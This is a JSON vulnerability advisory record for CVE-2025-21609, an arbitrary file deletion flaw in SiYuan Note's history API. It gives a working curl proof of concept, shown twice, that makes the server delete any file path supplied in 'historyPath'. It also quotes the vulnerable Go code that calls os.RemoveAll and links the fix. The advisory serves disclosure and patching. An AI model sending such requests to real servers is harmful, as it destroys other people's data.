{"id":"CVE-2025-21609","aliases":["GHSA-8fx8-pffw-w498","GO-2025-3362"],"url":"https://o3.security/vulnerability/CVE-2025-21609","summary":"SiYuan has an arbitrary file deletion vulnerability","details":"### Summary\nA **arbitrary file deletion vulnerability** has been identified in the latest version of Siyuan Note. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.\n\n### Details\nThe vulnerability can be reproduced by sending a crafted request to the `/api/history/getDocHistoryContent` endpoint.\n\nSending a request  to the `/api/history/getDocHistoryContent` like:\n\n```\ncurl \"http://127.0.0.1:6806/api/history/getDocHistoryContent\" -X POST -H \"Content-Type: application/json\" -d '{\"historyPath\":\"<abs_filepath_of_a_file>\"}'\n```\n\nReplace `<abs_filepath_of_a_file>` with the absolute file path of the target file you wish to delete.\n\n\n\nThe `historyPath` parameter in the payload is processed by the `func getDocHistoryContent` in `api/history.go:133`.\n\nIn turn, `historyPath` is passed to the `func GetDocHistoryContent`  located in `model/history.go:150` , which is the slink of the vulnerability.\n\nif `historyPath` exists and does not satisfy the `filesys.ParseJSONWithoutFix`, then it will be deleted by `os.RemoveAll`\n\n```go\nfunc GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {\n\tif !gulu.File.IsExist(historyPath) {\n\t\tlogging.LogWarnf(\"doc history [%s] not exist\", historyPath)\n\t\treturn\n\t}\n\n\tdata, err := filelock.ReadFile(historyPath)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"read file [%s] failed: %s\", historyPath, err)\n\t\treturn\n\t}\n\tisLargeDoc = 1024*1024*1 <= len(data)\n\n\tluteEngine := NewLute()\n\thistoryTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"parse tree from file [%s] failed, remove it\", historyPath)\n\t\tos.RemoveAll(historyPath)\n\t\treturn\n\t}\n\t...\n}\n```\n\n\n\n### PoC\n```\ncurl \"http://127.0.0.1:6806/api/history/getDocHistoryContent\" -X POST -H \"Content-Type: application/json\" -d '{\"historyPath\":\"<abs_filepath_of_a_file>\"}'\n```\n\n### Impact\narbitrary file deletion vulnerability\n","published":"2025-01-03T16:26:36.420Z","modified":"2026-08-12T03:51:17.956307227Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","fixedVersion":null}],"fix":{"url":"https://github.com/siyuan-note/siyuan/commit/d9887aeec1b27073bec66299a9a4181dc42969f3","label":"siyuan-note/siyuan@d9887ae"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/21xxx/CVE-2025-21609.json"},{"type":"ADVISORY","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8fx8-pffw-w498"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-21609"},{"type":"FIX","url":"https://github.com/siyuan-note/siyuan/commit/d9887aeec1b27073bec66299a9a4181dc42969f3"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:17.956307227Z"}}